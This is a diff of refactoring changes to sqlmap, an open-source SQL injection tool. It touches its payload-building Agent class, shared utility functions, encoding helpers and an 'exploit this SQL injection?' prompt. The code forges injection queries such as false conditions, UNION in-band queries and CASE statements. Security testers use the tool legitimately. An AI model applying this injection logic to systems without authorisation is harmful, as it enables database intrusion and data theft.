raise sqlmapNotVulnerableException, "all parameters are not injectable"
|
||||||
elif kb.injPlace and kb.injParameter and kb.injType:
|
elif kb.injPlace and kb.injParameter and kb.injType:
|
||||||
condition = False
|
|
||||||
|
|
||||||
if conf.multipleTargets:
|
if conf.multipleTargets:
|
||||||
message = "do you want to exploit this SQL injection? [Y/n] "
|
message = "do you want to exploit this SQL injection? [Y/n] "
|
||||||
exploit = readInput(message, default="Y")
|
exploit = readInput(message, default="Y")
|
||||||
|
|
||||||
if not exploit or exploit[0] in ("y", "Y"):
|
condition = not exploit or exploit[0] in ("y", "Y")
|
||||||
condition = True
|
|
||||||
else:
|
else:
|
||||||
condition = True
|
condition = True
|
||||||
|
|
||||||
|
|
|
@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
from lib.core.data import conf
|
from lib.core.data import conf
|
||||||
from lib.core.data import kb
|
from lib.core.data import kb
|
||||||
from lib.core.data import logger
|
from lib.core.data import logger
|
||||||
|
@ -37,7 +35,6 @@ from plugins.dbms.mysql import MySQLMap
|
||||||
from plugins.dbms.oracle import OracleMap
|
from plugins.dbms.oracle import OracleMap
|
||||||
from plugins.dbms.postgresql import PostgreSQLMap
|
from plugins.dbms.postgresql import PostgreSQLMap
|
||||||
|
|
||||||
|
|
||||||
def setHandler():
|
def setHandler():
|
||||||
"""
|
"""
|
||||||
Detect which is the target web application back-end database
|
Detect which is the target web application back-end database
|
||||||
|
|
|
@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
import re
|
import re
|
||||||
|
|
||||||
from lib.core.common import randomInt
|
from lib.core.common import randomInt
|
||||||
|
@ -45,7 +43,6 @@ class Agent:
|
||||||
temp.start = randomStr(6)
|
temp.start = randomStr(6)
|
||||||
temp.stop = randomStr(6)
|
temp.stop = randomStr(6)
|
||||||
|
|
||||||
|
|
||||||
def payload(self, place=None, parameter=None, value=None, newValue=None, negative=False, falseCond=False):
|
def payload(self, place=None, parameter=None, value=None, newValue=None, negative=False, falseCond=False):
|
||||||
"""
|
"""
|
||||||
This method replaces the affected parameter with the SQL
|
This method replaces the affected parameter with the SQL
|
||||||
|
@ -56,9 +53,9 @@ class Agent:
|
||||||
negValue = ""
|
negValue = ""
|
||||||
retValue = ""
|
retValue = ""
|
||||||
|
|
||||||
if negative == True or conf.paramNegative == True:
|
if negative or conf.paramNegative:
|
||||||
negValue = "-"
|
negValue = "-"
|
||||||
elif falseCond == True or conf.paramFalseCond == True:
|
elif falseCond or conf.paramFalseCond:
|
||||||
randInt = randomInt()
|
randInt = randomInt()
|
||||||
falseValue = " AND %d=%d" % (randInt, randInt + 1)
|
falseValue = " AND %d=%d" % (randInt, randInt + 1)
|
||||||
|
|
||||||
|
@ -83,7 +80,6 @@ class Agent:
|
||||||
|
|
||||||
return retValue
|
return retValue
|
||||||
|
|
||||||
|
|
||||||
def fullPayload(self, query):
|
def fullPayload(self, query):
|
||||||
query = self.prefixQuery(query)
|
query = self.prefixQuery(query)
|
||||||
query = self.postfixQuery(query)
|
query = self.postfixQuery(query)
|
||||||
|
@ -91,7 +87,6 @@ class Agent:
|
||||||
|
|
||||||
return payload
|
return payload
|
||||||
|
|
||||||
|
|
||||||
def prefixQuery(self, string):
|
def prefixQuery(self, string):
|
||||||
"""
|
"""
|
||||||
This method defines how the input string has to be escaped
|
This method defines how the input string has to be escaped
|
||||||
|
@ -120,7 +115,6 @@ class Agent:
|
||||||
|
|
||||||
return query
|
return query
|
||||||
|
|
||||||
|
|
||||||
def postfixQuery(self, string, comment=None):
|
def postfixQuery(self, string, comment=None):
|
||||||
"""
|
"""
|
||||||
This method appends the DBMS comment to the
|
This method appends the DBMS comment to the
|
||||||
|
@ -136,7 +130,7 @@ class Agent:
|
||||||
if conf.postfix:
|
if conf.postfix:
|
||||||
string += " %s" % conf.postfix
|
string += " %s" % conf.postfix
|
||||||
else:
|
else:
|
||||||
if kb.parenthesis != None:
|
if kb.parenthesis is not None:
|
||||||
string += " AND %s" % ("(" * kb.parenthesis)
|
string += " AND %s" % ("(" * kb.parenthesis)
|
||||||
else:
|
else:
|
||||||
raise sqlmapNoneDataException, "unable to get the number of parenthesis"
|
raise sqlmapNoneDataException, "unable to get the number of parenthesis"
|
||||||
|
@ -156,7 +150,6 @@ class Agent:
|
||||||
|
|
||||||
return string
|
return string
|
||||||
|
|
||||||
|
|
||||||
def nullAndCastField(self, field):
|
def nullAndCastField(self, field):
|
||||||
"""
|
"""
|
||||||
Take in input a field string and return its processed nulled and
|
Take in input a field string and return its processed nulled and
|
||||||
|
@ -195,7 +188,6 @@ class Agent:
|
||||||
|
|
||||||
return nulledCastedField
|
return nulledCastedField
|
||||||
|
|
||||||
|
|
||||||
def nullCastConcatFields(self, fields):
|
def nullCastConcatFields(self, fields):
|
||||||
"""
|
"""
|
||||||
Take in input a sequence of fields string and return its processed
|
Take in input a sequence of fields string and return its processed
|
||||||
|
@ -242,7 +234,6 @@ class Agent:
|
||||||
|
|
||||||
return nulledCastedConcatFields
|
return nulledCastedConcatFields
|
||||||
|
|
||||||
|
|
||||||
def getFields(self, query):
|
def getFields(self, query):
|
||||||
"""
|
"""
|
||||||
Take in input a query string and return its fields (columns) and
|
Take in input a query string and return its fields (columns) and
|
||||||
|
@ -285,7 +276,6 @@ class Agent:
|
||||||
|
|
||||||
return fieldsSelectFrom, fieldsSelect, fieldsNoSelect, fieldsSelectTop, fieldsSelectCase, fieldsToCastList, fieldsToCastStr
|
return fieldsSelectFrom, fieldsSelect, fieldsNoSelect, fieldsSelectTop, fieldsSelectCase, fieldsToCastList, fieldsToCastStr
|
||||||
|
|
||||||
|
|
||||||
def simpleConcatQuery(self, query1, query2):
|
def simpleConcatQuery(self, query1, query2):
|
||||||
concatenatedQuery = ""
|
concatenatedQuery = ""
|
||||||
|
|
||||||
|
@ -300,7 +290,6 @@ class Agent:
|
||||||
|
|
||||||
return concatenatedQuery
|
return concatenatedQuery
|
||||||
|
|
||||||
|
|
||||||
def concatQuery(self, query, unpack=True):
|
def concatQuery(self, query, unpack=True):
|
||||||
"""
|
"""
|
||||||
Take in input a query string and return its processed nulled,
|
Take in input a query string and return its processed nulled,
|
||||||
|
@ -327,7 +316,7 @@ class Agent:
|
||||||
@rtype: C{str}
|
@rtype: C{str}
|
||||||
"""
|
"""
|
||||||
|
|
||||||
if unpack == True:
|
if unpack:
|
||||||
concatenatedQuery = ""
|
concatenatedQuery = ""
|
||||||
query = query.replace(", ", ",")
|
query = query.replace(", ", ",")
|
||||||
|
|
||||||
|
@ -386,7 +375,6 @@ class Agent:
|
||||||
|
|
||||||
return concatenatedQuery
|
return concatenatedQuery
|
||||||
|
|
||||||
|
|
||||||
def forgeInbandQuery(self, query, exprPosition=None, nullChar="NULL"):
|
def forgeInbandQuery(self, query, exprPosition=None, nullChar="NULL"):
|
||||||
"""
|
"""
|
||||||
Take in input an query (pseudo query) string and return its
|
Take in input an query (pseudo query) string and return its
|
||||||
|
@ -465,7 +453,6 @@ class Agent:
|
||||||
|
|
||||||
return inbandQuery
|
return inbandQuery
|
||||||
|
|
||||||
|
|
||||||
def limitQuery(self, num, query, field):
|
def limitQuery(self, num, query, field):
|
||||||
"""
|
"""
|
||||||
Take in input a query string and return its limited query string.
|
Take in input a query string and return its limited query string.
|
||||||
|
@ -529,7 +516,7 @@ class Agent:
|
||||||
topNum = re.search("TOP\s+([\d]+)\s+", limitedQuery, re.I).group(1)
|
topNum = re.search("TOP\s+([\d]+)\s+", limitedQuery, re.I).group(1)
|
||||||
limitedQuery = limitedQuery.replace("TOP %s " % topNum, "")
|
limitedQuery = limitedQuery.replace("TOP %s " % topNum, "")
|
||||||
|
|
||||||
if forgeNotIn == True:
|
if forgeNotIn:
|
||||||
limitedQuery = limitedQuery.replace("SELECT ", (limitStr % 1), 1)
|
limitedQuery = limitedQuery.replace("SELECT ", (limitStr % 1), 1)
|
||||||
if " WHERE " in limitedQuery:
|
if " WHERE " in limitedQuery:
|
||||||
limitedQuery = "%s AND %s " % (limitedQuery, field)
|
limitedQuery = "%s AND %s " % (limitedQuery, field)
|
||||||
|
@ -540,7 +527,6 @@ class Agent:
|
||||||
|
|
||||||
return limitedQuery
|
return limitedQuery
|
||||||
|
|
||||||
|
|
||||||
def forgeCaseStatement(self, expression):
|
def forgeCaseStatement(self, expression):
|
||||||
"""
|
"""
|
||||||
Take in input a query string and return its CASE statement query
|
Take in input a query string and return its CASE statement query
|
||||||
|
@ -560,6 +546,5 @@ class Agent:
|
||||||
|
|
||||||
return queries[kb.dbms].case % expression
|
return queries[kb.dbms].case % expression
|
||||||
|
|
||||||
|
|
||||||
# SQL agent
|
# SQL agent
|
||||||
agent = Agent()
|
agent = Agent()
|
||||||
|
|
|
@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
import os
|
import os
|
||||||
import random
|
import random
|
||||||
import re
|
import re
|
||||||
|
@ -32,10 +30,7 @@ import string
|
||||||
import sys
|
import sys
|
||||||
import time
|
import time
|
||||||
import urlparse
|
import urlparse
|
||||||
|
|
||||||
|
|
||||||
from lib.contrib import magic
|
from lib.contrib import magic
|
||||||
from lib.core.convert import urldecode
|
|
||||||
from lib.core.data import conf
|
from lib.core.data import conf
|
||||||
from lib.core.data import kb
|
from lib.core.data import kb
|
||||||
from lib.core.data import logger
|
from lib.core.data import logger
|
||||||
|
@ -115,7 +110,6 @@ def paramToDict(place, parameters=None):
|
||||||
|
|
||||||
return testableParameters
|
return testableParameters
|
||||||
|
|
||||||
|
|
||||||
def formatDBMSfp(versions=None):
|
def formatDBMSfp(versions=None):
|
||||||
"""
|
"""
|
||||||
This function format the back-end DBMS fingerprint value and return its
|
This function format the back-end DBMS fingerprint value and return its
|
||||||
|
@ -139,13 +133,11 @@ def formatDBMSfp(versions=None):
|
||||||
|
|
||||||
return kb.dbms
|
return kb.dbms
|
||||||
|
|
||||||
|
|
||||||
def formatFingerprintString(values, chain=" or "):
|
def formatFingerprintString(values, chain=" or "):
|
||||||
strJoin = "|".join([v for v in values])
|
strJoin = "|".join([v for v in values])
|
||||||
|
|
||||||
return strJoin.replace("|", chain)
|
return strJoin.replace("|", chain)
|
||||||
|
|
||||||
|
|
||||||
def formatFingerprint(target, info):
|
def formatFingerprint(target, info):
|
||||||
"""
|
"""
|
||||||
This function format the back-end operating system fingerprint value
|
This function format the back-end operating system fingerprint value
|
||||||
|
@ -198,7 +190,6 @@ def formatFingerprint(target, info):
|
||||||
|
|
||||||
return infoStr
|
return infoStr
|
||||||
|
|
||||||
|
|
||||||
def getHtmlErrorFp():
|
def getHtmlErrorFp():
|
||||||
"""
|
"""
|
||||||
This function parses the knowledge base htmlFp list and return its
|
This function parses the knowledge base htmlFp list and return its
|
||||||
|
@ -222,7 +213,6 @@ def getHtmlErrorFp():
|
||||||
|
|
||||||
return htmlParsed
|
return htmlParsed
|
||||||
|
|
||||||
|
|
||||||
def getDocRoot():
|
def getDocRoot():
|
||||||
docRoot = None
|
docRoot = None
|
||||||
pagePath = os.path.dirname(conf.path)
|
pagePath = os.path.dirname(conf.path)
|
||||||
|
@ -236,7 +226,7 @@ def getDocRoot():
|
||||||
for absFilePath in kb.absFilePaths:
|
for absFilePath in kb.absFilePaths:
|
||||||
absFilePathWin = None
|
absFilePathWin = None
|
||||||
|
|
||||||
if re.search("([\w]\:[\/\\\\]+)", absFilePath):
|
if re.search("[A-Za-z]:(\\[\w.\\]*)?", absFilePath):
|
||||||
absFilePathWin = absFilePath
|
absFilePathWin = absFilePath
|
||||||
absFilePath = absFilePath[2:].replace("\\", "/")
|
absFilePath = absFilePath[2:].replace("\\", "/")
|
||||||
|
|
||||||
|
@ -269,7 +259,6 @@ def getDocRoot():
|
||||||
|
|
||||||
return docRoot
|
return docRoot
|
||||||
|
|
||||||
|
|
||||||
def getDirs():
|
def getDirs():
|
||||||
directories = set()
|
directories = set()
|
||||||
|
|
||||||
|
@ -306,19 +295,16 @@ def getDirs():
|
||||||
|
|
||||||
return directories
|
return directories
|
||||||
|
|
||||||
|
|
||||||
def filePathToString(filePath):
|
def filePathToString(filePath):
|
||||||
strRepl = filePath.replace("/", "_").replace("\\", "_")
|
strRepl = filePath.replace("/", "_").replace("\\", "_")
|
||||||
strRepl = strRepl.replace(" ", "_").replace(":", "_")
|
strRepl = strRepl.replace(" ", "_").replace(":", "_")
|
||||||
|
|
||||||
return strRepl
|
return strRepl
|
||||||
|
|
||||||
|
|
||||||
def dataToStdout(data):
|
def dataToStdout(data):
|
||||||
sys.stdout.write(data)
|
sys.stdout.write(data)
|
||||||
sys.stdout.flush()
|
sys.stdout.flush()
|
||||||
|
|
||||||
|
|
||||||
def dataToSessionFile(data):
|
def dataToSessionFile(data):
|
||||||
if not conf.sessionFile:
|
if not conf.sessionFile:
|
||||||
return
|
return
|
||||||
|
@ -326,12 +312,10 @@ def dataToSessionFile(data):
|
||||||
conf.sessionFP.write(data)
|
conf.sessionFP.write(data)
|
||||||
conf.sessionFP.flush()
|
conf.sessionFP.flush()
|
||||||
|
|
||||||
|
|
||||||
def dataToDumpFile(dumpFile, data):
|
def dataToDumpFile(dumpFile, data):
|
||||||
dumpFile.write(data)
|
dumpFile.write(data)
|
||||||
dumpFile.flush()
|
dumpFile.flush()
|
||||||
|
|
||||||
|
|
||||||
def dataToOutFile(data):
|
def dataToOutFile(data):
|
||||||
if not data:
|
if not data:
|
||||||
return "No data retrieved"
|
return "No data retrieved"
|
||||||
|
@ -346,7 +330,6 @@ def dataToOutFile(data):
|
||||||
|
|
||||||
return rFilePath
|
return rFilePath
|
||||||
|
|
||||||
|
|
||||||
def strToHex(inpStr):
|
def strToHex(inpStr):
|
||||||
"""
|
"""
|
||||||
@param inpStr: inpStr to be converted into its hexadecimal value.
|
@param inpStr: inpStr to be converted into its hexadecimal value.
|
||||||
|
@ -370,7 +353,6 @@ def strToHex(inpStr):
|
||||||
|
|
||||||
return hexStr
|
return hexStr
|
||||||
|
|
||||||
|
|
||||||
def fileToStr(fileName):
|
def fileToStr(fileName):
|
||||||
"""
|
"""
|
||||||
@param fileName: file path to read the content and return as a no
|
@param fileName: file path to read the content and return as a no
|
||||||
|
@ -384,13 +366,7 @@ def fileToStr(fileName):
|
||||||
filePointer = open(fileName, "r")
|
filePointer = open(fileName, "r")
|
||||||
fileText = filePointer.read()
|
fileText = filePointer.read()
|
||||||
|
|
||||||
fileText = fileText.replace(" ", "")
|
return fileText.replace(" ", "").replace("\t", "").replace("\r", "").replace("\n", " ")
|
||||||
fileText = fileText.replace("\t", "")
|
|
||||||
fileText = fileText.replace("\r", "")
|
|
||||||
fileText = fileText.replace("\n", " ")
|
|
||||||
|
|
||||||
return fileText
|
|
||||||
|
|
||||||
|
|
||||||
def fileToHex(fileName):
|
def fileToHex(fileName):
|
||||||
"""
|
"""
|
||||||
|
@ -407,7 +383,6 @@ def fileToHex(fileName):
|
||||||
|
|
||||||
return hexFile
|
return hexFile
|
||||||
|
|
||||||
|
|
||||||
def readInput(message, default=None):
|
def readInput(message, default=None):
|
||||||
"""
|
"""
|
||||||
@param message: message to display on terminal.
|
@param message: message to display on terminal.
|
||||||
|
@ -436,7 +411,6 @@ def readInput(message, default=None):
|
||||||
|
|
||||||
return data
|
return data
|
||||||
|
|
||||||
|
|
||||||
def randomRange(start=0, stop=1000):
|
def randomRange(start=0, stop=1000):
|
||||||
"""
|
"""
|
||||||
@param start: starting number.
|
@param start: starting number.
|
||||||
|
@ -451,7 +425,6 @@ def randomRange(start=0, stop=1000):
|
||||||
|
|
||||||
return int(random.randint(start, stop))
|
return int(random.randint(start, stop))
|
||||||
|
|
||||||
|
|
||||||
def randomInt(length=4):
|
def randomInt(length=4):
|
||||||
"""
|
"""
|
||||||
@param length: length of the random string.
|
@param length: length of the random string.
|
||||||
|
@ -463,7 +436,6 @@ def randomInt(length=4):
|
||||||
|
|
||||||
return int("".join([random.choice(string.digits) for _ in xrange(0, length)]))
|
return int("".join([random.choice(string.digits) for _ in xrange(0, length)]))
|
||||||
|
|
||||||
|
|
||||||
def randomStr(length=5, lowercase=False):
|
def randomStr(length=5, lowercase=False):
|
||||||
"""
|
"""
|
||||||
@param length: length of the random string.
|
@param length: length of the random string.
|
||||||
|
@ -473,14 +445,13 @@ def randomStr(length=5, lowercase=False):
|
||||||
@rtype: C{str}
|
@rtype: C{str}
|
||||||
"""
|
"""
|
||||||
|
|
||||||
if lowercase == True:
|
if lowercase:
|
||||||
rndStr = "".join([random.choice(string.lowercase) for _ in xrange(0, length)])
|
rndStr = "".join([random.choice(string.lowercase) for _ in xrange(0, length)])
|
||||||
else:
|
else:
|
||||||
rndStr = "".join([random.choice(string.letters) for _ in xrange(0, length)])
|
rndStr = "".join([random.choice(string.letters) for _ in xrange(0, length)])
|
||||||
|
|
||||||
return rndStr
|
return rndStr
|
||||||
|
|
||||||
|
|
||||||
def sanitizeStr(inpStr):
|
def sanitizeStr(inpStr):
|
||||||
"""
|
"""
|
||||||
@param inpStr: inpStr to sanitize: cast to str datatype and replace
|
@param inpStr: inpStr to sanitize: cast to str datatype and replace
|
||||||
|
@ -496,7 +467,6 @@ def sanitizeStr(inpStr):
|
||||||
|
|
||||||
return cleanString
|
return cleanString
|
||||||
|
|
||||||
|
|
||||||
def checkFile(filename):
|
def checkFile(filename):
|
||||||
"""
|
"""
|
||||||
@param filename: filename to check if it exists.
|
@param filename: filename to check if it exists.
|
||||||
|
@ -506,14 +476,12 @@ def checkFile(filename):
|
||||||
if not os.path.exists(filename):
|
if not os.path.exists(filename):
|
||||||
raise sqlmapFilePathException, "unable to read file '%s'" % filename
|
raise sqlmapFilePathException, "unable to read file '%s'" % filename
|
||||||
|
|
||||||
|
|
||||||
def replaceNewlineTabs(inpStr):
|
def replaceNewlineTabs(inpStr):
|
||||||
replacedString = inpStr.replace("\n", "__NEWLINE__").replace("\t", "__TAB__")
|
replacedString = inpStr.replace("\n", "__NEWLINE__").replace("\t", "__TAB__")
|
||||||
replacedString = replacedString.replace(temp.delimiter, "__DEL__")
|
replacedString = replacedString.replace(temp.delimiter, "__DEL__")
|
||||||
|
|
||||||
return replacedString
|
return replacedString
|
||||||
|
|
||||||
|
|
||||||
def banner():
|
def banner():
|
||||||
"""
|
"""
|
||||||
This function prints sqlmap banner with its version
|
This function prints sqlmap banner with its version
|
||||||
|
@ -524,7 +492,6 @@ def banner():
|
||||||
by Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
by Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||||
""" % VERSION_STRING
|
""" % VERSION_STRING
|
||||||
|
|
||||||
|
|
||||||
def parsePasswordHash(password):
|
def parsePasswordHash(password):
|
||||||
blank = " " * 8
|
blank = " " * 8
|
||||||
|
|
||||||
|
@ -543,7 +510,6 @@ def parsePasswordHash(password):
|
||||||
|
|
||||||
return password
|
return password
|
||||||
|
|
||||||
|
|
||||||
def cleanQuery(query):
|
def cleanQuery(query):
|
||||||
upperQuery = query
|
upperQuery = query
|
||||||
|
|
||||||
|
@ -557,7 +523,6 @@ def cleanQuery(query):
|
||||||
|
|
||||||
return upperQuery
|
return upperQuery
|
||||||
|
|
||||||
|
|
||||||
def setPaths():
|
def setPaths():
|
||||||
# sqlmap paths
|
# sqlmap paths
|
||||||
paths.SQLMAP_CONTRIB_PATH = os.path.join(paths.SQLMAP_ROOT_PATH, "lib", "contrib")
|
paths.SQLMAP_CONTRIB_PATH = os.path.join(paths.SQLMAP_ROOT_PATH, "lib", "contrib")
|
||||||
|
@ -582,7 +547,6 @@ def setPaths():
|
||||||
paths.ORACLE_XML = os.path.join(paths.SQLMAP_XML_BANNER_PATH, "oracle.xml")
|
paths.ORACLE_XML = os.path.join(paths.SQLMAP_XML_BANNER_PATH, "oracle.xml")
|
||||||
paths.PGSQL_XML = os.path.join(paths.SQLMAP_XML_BANNER_PATH, "postgresql.xml")
|
paths.PGSQL_XML = os.path.join(paths.SQLMAP_XML_BANNER_PATH, "postgresql.xml")
|
||||||
|
|
||||||
|
|
||||||
def weAreFrozen():
|
def weAreFrozen():
|
||||||
"""
|
"""
|
||||||
Returns whether we are frozen via py2exe.
|
Returns whether we are frozen via py2exe.
|
||||||
|
@ -592,7 +556,6 @@ def weAreFrozen():
|
||||||
|
|
||||||
return hasattr(sys, "frozen")
|
return hasattr(sys, "frozen")
|
||||||
|
|
||||||
|
|
||||||
def parseTargetUrl():
|
def parseTargetUrl():
|
||||||
"""
|
"""
|
||||||
Parse target url and set some attributes into the configuration
|
Parse target url and set some attributes into the configuration
|
||||||
|
@ -623,11 +586,10 @@ def parseTargetUrl():
|
||||||
conf.port = 80
|
conf.port = 80
|
||||||
|
|
||||||
if __urlSplit[3]:
|
if __urlSplit[3]:
|
||||||
conf.parameters["GET"] = urldecode(__urlSplit[3]).replace("%", "%%")
|
conf.parameters["GET"] = __urlSplit[3]
|
||||||
|
|
||||||
conf.url = "%s://%s:%d%s" % (conf.scheme, conf.hostname, conf.port, conf.path)
|
conf.url = "%s://%s:%d%s" % (conf.scheme, conf.hostname, conf.port, conf.path)
|
||||||
|
|
||||||
|
|
||||||
def expandAsteriskForColumns(expression):
|
def expandAsteriskForColumns(expression):
|
||||||
# If the user provided an asterisk rather than the column(s)
|
# If the user provided an asterisk rather than the column(s)
|
||||||
# name, sqlmap will retrieve the columns itself and reprocess
|
# name, sqlmap will retrieve the columns itself and reprocess
|
||||||
|
@ -660,7 +622,6 @@ def expandAsteriskForColumns(expression):
|
||||||
|
|
||||||
return expression
|
return expression
|
||||||
|
|
||||||
|
|
||||||
def getRange(count, dump=False, plusOne=False):
|
def getRange(count, dump=False, plusOne=False):
|
||||||
count = int(count)
|
count = int(count)
|
||||||
indexRange = None
|
indexRange = None
|
||||||
|
@ -674,14 +635,13 @@ def getRange(count, dump=False, plusOne=False):
|
||||||
if isinstance(conf.limitStart, int) and conf.limitStart > 0 and conf.limitStart <= limitStop:
|
if isinstance(conf.limitStart, int) and conf.limitStart > 0 and conf.limitStart <= limitStop:
|
||||||
limitStart = conf.limitStart
|
limitStart = conf.limitStart
|
||||||
|
|
||||||
if kb.dbms == "Oracle" or plusOne == True:
|
if kb.dbms == "Oracle" or plusOne:
|
||||||
indexRange = range(limitStart, limitStop + 1)
|
indexRange = range(limitStart, limitStop + 1)
|
||||||
else:
|
else:
|
||||||
indexRange = range(limitStart - 1, limitStop)
|
indexRange = range(limitStart - 1, limitStop)
|
||||||
|
|
||||||
return indexRange
|
return indexRange
|
||||||
|
|
||||||
|
|
||||||
def parseUnionPage(output, expression, partial=False, condition=None, sort=True):
|
def parseUnionPage(output, expression, partial=False, condition=None, sort=True):
|
||||||
data = []
|
data = []
|
||||||
|
|
||||||
|
@ -696,7 +656,7 @@ def parseUnionPage(output, expression, partial=False, condition=None, sort=True)
|
||||||
|
|
||||||
output = re.findall(regExpr, output, re.S)
|
output = re.findall(regExpr, output, re.S)
|
||||||
|
|
||||||
if condition == None:
|
if condition is None:
|
||||||
condition = (
|
condition = (
|
||||||
kb.resumedQueries and conf.url in kb.resumedQueries.keys()
|
kb.resumedQueries and conf.url in kb.resumedQueries.keys()
|
||||||
and expression in kb.resumedQueries[conf.url].keys()
|
and expression in kb.resumedQueries[conf.url].keys()
|
||||||
|
@ -732,7 +692,6 @@ def parseUnionPage(output, expression, partial=False, condition=None, sort=True)
|
||||||
|
|
||||||
return data
|
return data
|
||||||
|
|
||||||
|
|
||||||
def getDelayQuery():
|
def getDelayQuery():
|
||||||
query = None
|
query = None
|
||||||
|
|
||||||
|
@ -751,7 +710,6 @@ def getDelayQuery():
|
||||||
|
|
||||||
return query
|
return query
|
||||||
|
|
||||||
|
|
||||||
def getLocalIP():
|
def getLocalIP():
|
||||||
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||||
s.connect((conf.hostname, conf.port))
|
s.connect((conf.hostname, conf.port))
|
||||||
|
@ -760,11 +718,9 @@ def getLocalIP():
|
||||||
|
|
||||||
return ip
|
return ip
|
||||||
|
|
||||||
|
|
||||||
def getRemoteIP():
|
def getRemoteIP():
|
||||||
return socket.gethostbyname(conf.hostname)
|
return socket.gethostbyname(conf.hostname)
|
||||||
|
|
||||||
|
|
||||||
def getFileType(filePath):
|
def getFileType(filePath):
|
||||||
try:
|
try:
|
||||||
magicFileType = magic.from_file(filePath)
|
magicFileType = magic.from_file(filePath)
|
||||||
|
@ -776,7 +732,6 @@ def getFileType(filePath):
|
||||||
else:
|
else:
|
||||||
return "binary"
|
return "binary"
|
||||||
|
|
||||||
|
|
||||||
def pollProcess(process):
|
def pollProcess(process):
|
||||||
while True:
|
while True:
|
||||||
dataToStdout(".")
|
dataToStdout(".")
|
||||||
|
@ -794,11 +749,10 @@ def pollProcess(process):
|
||||||
|
|
||||||
break
|
break
|
||||||
|
|
||||||
|
|
||||||
def getCharset(charsetType=None):
|
def getCharset(charsetType=None):
|
||||||
asciiTbl = []
|
asciiTbl = []
|
||||||
|
|
||||||
if charsetType == None:
|
if charsetType is None:
|
||||||
asciiTbl = range(0, 128)
|
asciiTbl = range(0, 128)
|
||||||
|
|
||||||
# 0 or 1
|
# 0 or 1
|
||||||
|
@ -833,12 +787,11 @@ def getCharset(charsetType=None):
|
||||||
|
|
||||||
return asciiTbl
|
return asciiTbl
|
||||||
|
|
||||||
|
|
||||||
def searchEnvPath(fileName):
|
def searchEnvPath(fileName):
|
||||||
envPaths = os.environ["PATH"]
|
envPaths = os.environ["PATH"]
|
||||||
result = None
|
result = None
|
||||||
|
|
||||||
if IS_WIN is True:
|
if IS_WIN:
|
||||||
envPaths = envPaths.split(";")
|
envPaths = envPaths.split(";")
|
||||||
else:
|
else:
|
||||||
envPaths = envPaths.split(":")
|
envPaths = envPaths.split(":")
|
||||||
|
@ -847,7 +800,35 @@ def searchEnvPath(fileName):
|
||||||
envPath = envPath.replace(";", "")
|
envPath = envPath.replace(";", "")
|
||||||
result = os.path.exists(os.path.normpath(os.path.join(envPath, fileName)))
|
result = os.path.exists(os.path.normpath(os.path.join(envPath, fileName)))
|
||||||
|
|
||||||
if result == True:
|
if result:
|
||||||
break
|
break
|
||||||
|
|
||||||
return result
|
return result
|
||||||
|
|
||||||
|
def sanitizeCookie(cookieStr, warn=False):
|
||||||
|
if cookieStr:
|
||||||
|
result = ""
|
||||||
|
changed = False
|
||||||
|
for part in cookieStr.split(';'):
|
||||||
|
index = part.find('=') + 1
|
||||||
|
if index > 0:
|
||||||
|
name = part[:index - 1].strip()
|
||||||
|
value = part[index:].replace(",","%2C").replace(";","%3B").replace(" ","%20")
|
||||||
|
if value != part[index:]:
|
||||||
|
changed = True
|
||||||
|
result += ";%s=%s" % (name, value)
|
||||||
|
elif part.strip().lower() != "secure":
|
||||||
|
result += "%s%s" % ("%3B", part.replace(",","%2C").replace(";","%3B").replace(" ","%20"))
|
||||||
|
else:
|
||||||
|
result += ";secure"
|
||||||
|
if result.startswith(';'):
|
||||||
|
result = result[1:]
|
||||||
|
elif result.startswith('%3B'):
|
||||||
|
result = result[3:]
|
||||||
|
if changed and warn:
|
||||||
|
warnMsg = "cookie is provided in HTTP unsafe format containing one "
|
||||||
|
warnMsg += "of problematic characters: ' ,;'. temporary sanitized."
|
||||||
|
logger.warn(warnMsg)
|
||||||
|
return result
|
||||||
|
else:
|
||||||
|
return None
|
||||||
|
|
|
@ -22,21 +22,17 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|
||||||
import md5
|
import md5
|
||||||
import sha
|
import sha
|
||||||
import struct
|
import struct
|
||||||
import urllib
|
import urllib
|
||||||
|
|
||||||
|
|
||||||
def base64decode(string):
|
def base64decode(string):
|
||||||
return string.decode("base64")
|
return string.decode("base64")
|
||||||
|
|
||||||
|
|
||||||
def base64encode(string):
|
def base64encode(string):
|
||||||
return string.encode("base64")[:-1]
|
return string.encode("base64")[:-1]
|
||||||
|
|
||||||
|
|
||||||
def hexdecode(string):
|
def hexdecode(string):
|
||||||
string = string.lower()
|
string = string.lower()
|
||||||
|
|
||||||
|
@ -45,44 +41,39 @@ def hexdecode(string):
|
||||||
|
|
||||||
return string.decode("hex")
|
return string.decode("hex")
|
||||||
|
|
||||||
|
|
||||||
def hexencode(string):
|
def hexencode(string):
|
||||||
return string.encode("hex")
|
return string.encode("hex")
|
||||||
|
|
||||||
|
|
||||||
def md5hash(string):
|
def md5hash(string):
|
||||||
return md5.new(string).hexdigest()
|
return md5.new(string).hexdigest()
|
||||||
|
|
||||||
|
|
||||||
def orddecode(string):
|
def orddecode(string):
|
||||||
packedString = struct.pack("!"+"I" * len(string), *string)
|
packedString = struct.pack("!"+"I" * len(string), *string)
|
||||||
return "".join([chr(char) for char in struct.unpack("!"+"I"*(len(packedString)/4), packedString)])
|
